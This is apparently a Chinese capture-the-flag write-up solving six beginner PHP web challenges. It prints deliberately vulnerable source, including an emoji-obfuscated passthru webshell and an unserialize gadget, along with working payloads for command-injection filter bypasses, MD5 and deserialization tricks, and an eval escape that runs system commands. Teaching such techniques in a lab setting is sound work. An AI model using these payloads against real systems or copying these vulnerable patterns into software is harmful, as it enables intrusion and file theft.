文章目录
- 源码!启动!
- webshell是啥捏
- 细狗2.0
- ez_php1
- Hello,you
- EZ_eval
源码!启动!
打开题目,发现右键被禁了
直接ctrl+u查看源码得到flag
webshell是啥捏
源码
<?php
highlight_file(__FILE__);
$😀="a";
$😁="b";
$😂="c";
$🤣="d";
$😃="e";
$😄="f";
$😅="g";
$😆="h";
$😉="i";
$😊="j";
$😋="k";
$😎="l";
$😍="m";
$😘="n";
$😗="o";
$😙="p";
$😚="q";
$🙂="r";
$🤗="s";
$🤩="t";
$🤔="u";
$🤨="v";
$😐="w";
$😑="x";
$😶="y";
$🙄="z";$😭 = $😙. $😀. $🤗. $🤗. $🤩. $😆. $🙂. $🤔;if (isset($_GET['👽'])) {eval($😭($_GET['👽']));
};?>
php中变量与变量之间用点号连接表示拼接
题目拼接结果为passthru
那么我们直接ls /
得到flag
细狗2.0
简单的命令执行绕过
payload
?hongzh0=;ca\t$IFS$1/fl*g
得到flag
ez_php1
源码
<?php
highlight_file(__FILE__);
error_reporting(0);
include "globals.php";
$a = $_GET['b'];
$b = $_GET['a'];
if($a!=$b&&md5($a)==md5($b))
{echo "!!!";$c = $_POST['FL_AG'];if(isset($c)){if (preg_match('/^.*(flag).*$/', $ja)) {echo 'You are bad guy!!!';}else {echo "Congratulation!!";echo $hint1;}}else {echo "Please input my love FL_AG";}
} else{die("game over!");
}
?>
分析一下,就是简单的MD5绕过和php解析特性
得到hint
访问./L0vey0U.php
<?php
highlight_file(__FILE__);
error_reporting(0);
include "globals.php";
$FAKE_KEY = "Do you love CTF?";
$KEY = "YES I love";
$str = $_GET['str'];
echo $flag;
if (unserialize($str) === "$KEY")
{echo "$hint2";
}
?>
exp
<?php
$str = 'YES I love';
echo serialize($str);
得到第二个hint
访问./P0int.php
<?php
highlight_file(__FILE__);
error_reporting(0);
class Clazz
{public $a;public $b;public function __wakeup(){$this->a = file_get_contents("php://filter/read=convert.base64-encode/resource=g0t_f1ag.php");}public function __destruct(){echo $this->b;}
}
@unserialize($_POST['data']);?>
非常简单的变量引用
exp如下
<?php
class Clazz
{public $a;public $b;
}
$C=new Clazz();
$C->b=&$C->a;
echo serialize($C);
解码得到flag
Hello,you
简单的命令注入,用分号隔断命令
1;ls
反斜杠绕过和星号绕过
1;ca\t f*
EZ_eval
源码
<?phpif(isset($_GET['word'])){$word = $_GET['word'];if (preg_match("/cat|tac|tail|more|head|nl|flag|less| /", $word)){die("nonono.");}$word = str_replace("?", "", $word);eval("?>". $word);
}else{highlight_file(__FILE__);
}
简单分析下,eval函数中已经闭合前面?>
,那么我们要自己输入php的头<?
,由于问号被过滤了
这里用secript(文件上传做的多会很快想到),然后就是一些常规过滤,用%09代替空格,反斜杠绕过关键字检测
?word=<script%09language="php">system('ca\t%09/fl\ag');</script>
得到flag